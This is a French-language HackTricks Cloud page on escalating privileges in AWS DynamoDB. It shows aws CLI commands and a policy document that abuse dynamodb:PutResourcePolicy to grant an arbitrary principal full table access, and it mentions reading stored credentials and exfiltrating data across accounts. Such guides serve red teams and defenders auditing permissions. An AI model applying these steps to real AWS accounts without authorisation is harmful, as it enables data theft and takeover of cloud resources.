AWS - DynamoDB Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
dynamodb
Pour plus dâinformations sur dynamodb, consultez :
dynamodb:PutResourcePolicy, et éventuellement dynamodb:GetResourcePolicy
Depuis mars 2024, AWS propose des politiques basées sur les ressources pour DynamoDB (AWS News).
Donc, si vous possédez dynamodb:PutResourcePolicy sur une table, vous pouvez simplement vous accorder (ou accorder à tout autre principal) un accÚs complet à la table.
Attribuer dynamodb:PutResourcePolicy Ă un principal au hasard arrive souvent par accident, si les admins pensent que donner dynamodb:Put* permettrait seulement au principal dâinsĂ©rer des items dans la base - ou sâils ont accordĂ© ce jeu de permissions avant mars 2024âŠ
IdĂ©alement, vous avez aussi dynamodb:GetResourcePolicy, afin de ne pas Ă©craser dâautres permissions potentiellement vitales, mais dâinjecter uniquement les permissions additionnelles dont vous avez besoin :
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
--resource-arn <table_arn> \
--query 'Policy' \
--output text > policy.json
Si vous ne pouvez pas récupérer la stratégie actuelle, utilisez simplement celle-ci qui accorde un accÚs complet à la table à votre principal :
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "FullAccessToDynamoDBTable",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
},
"Action": [
"dynamodb:*"
],
"Resource": [
"arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
]
}
]
}
Si vous devez le personnaliser, voici une liste de toutes les actions possibles de DynamoDB : AWS Documentation. Et voici une liste de toutes les actions qui peuvent ĂȘtre autorisĂ©es via une resource based policy ET lesquelles de celles-ci peuvent ĂȘtre utilisĂ©es cross-account (pensez Ă la data exfiltration !) : AWS Documentation
Maintenant, avec le document de politique policy.json prĂȘt, mettez la resource policy :
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
--resource-arn <table_arn> \
--policy "$(cat policy.json)"
Vous devriez maintenant disposer des permissions nécessaires.
Post Exploitation
Ă ma connaissance, il nâexiste aucun autre moyen direct dâescalade de privilĂšges dans AWS simplement en disposant de certaines permissions AWS dynamodb. Vous pouvez lire des informations sensibles depuis les tables (qui pourraient contenir AWS credentials) et Ă©crire des informations dans les tables (ce qui pourrait dĂ©clencher dâautres vulnĂ©rabilitĂ©s, comme lambda code injectionsâŠ) mais toutes ces options sont dĂ©jĂ considĂ©rĂ©es dans la DynamoDB Post Exploitation page:
AWS - DynamoDB Post Exploitation
TODO: Lire des données en abusant des data Streams
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

